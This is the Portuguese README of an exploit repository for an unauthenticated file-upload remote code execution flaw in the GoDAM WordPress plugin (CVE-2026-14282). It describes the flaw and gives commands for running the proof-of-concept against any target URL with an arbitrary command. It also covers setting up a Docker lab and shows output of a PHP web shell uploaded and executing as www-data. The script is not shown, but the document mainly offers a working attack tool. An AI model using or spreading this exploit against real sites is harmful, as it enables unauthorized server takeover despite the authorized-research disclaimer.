
GoDAM WordPress plugin <= 1.12.2 unauthenticated file upload RCE (CVE-2026-14282)
Autor: nullwhisper
Caso de uso: somente pesquisa de segurança autorizada / validação de vulnerabilidade.
As versões <= 1.12.2 do plugin WordPress GoDAM registam um campo WPForms chamado
godam_record. O handler de upload save_video_file() é ligado à ação pública
wpforms_process_before_filter, portanto é executado antes de qualquer verificação
de autenticação. O handler confia no cabeçalho Content-Type controlado pelo
atacante, aceita um ficheiro PHP desde que o tipo MIME comece por video/, e
move-o para o diretório servido pela web wp-content/uploads/godam/wpforms/.
Isto permite que um atacante não autenticado carregue e execute código PHP
arbitrário.
.
├── cve_2026_14282_poc.py # PoC principal
├── lab/
│ ├── docker-compose.yml # Laboratório WordPress
│ └── setup.php # Cria um formulário WPForms com o campo GoDAM
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form
O script deteta automaticamente o ID do formulário WPForms e o ID do campo GoDAM. Se a página contiver vários formulários ou se a deteção falhar, utilize:
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
--form-id 4 --field-id 1 --cmd "whoami"
Transfira os plugins vulneráveis (não redistribua os binários):
mkdir -p lab/wpforms-lite lab/godam
cd lab/wpforms-lite
wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
unzip wpforms-lite.latest-stable.zip
rm wpforms-lite.latest-stable.zip
cd ../godam
wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
unzip godam.1.12.2.zip
rm godam.1.12.2.zip
cd ../..
Inicie o laboratório:
cd lab
docker compose up -d
Conclua o instalador do WordPress em http://127.0.0.1:8092.
Instale e ative os plugins e, em seguida, crie o formulário e a página de teste:
docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
docker exec -i lab-wpcli-1 php /tmp/setup.php
Execute o PoC:
python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
Testado em WordPress 6.8 + WPForms Lite mais recente + GoDAM 1.12.2.
[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED
Este repositório contém apenas o PoC e os ficheiros de orquestração do laboratório. Os binários dos plugins vulneráveis foram excluídos para evitar inchaço e problemas de distribuição. Transfira as versões vulneráveis específicas a partir do WordPress.org para o seu próprio laboratório.
Esta ferramenta destina-se apenas a testes de segurança autorizados e investigação. Não a utilize contra sistemas que não possui ou para os quais não tem permissão explícita para testar. O autor não é responsável por utilização indevida ou danos causados por este código.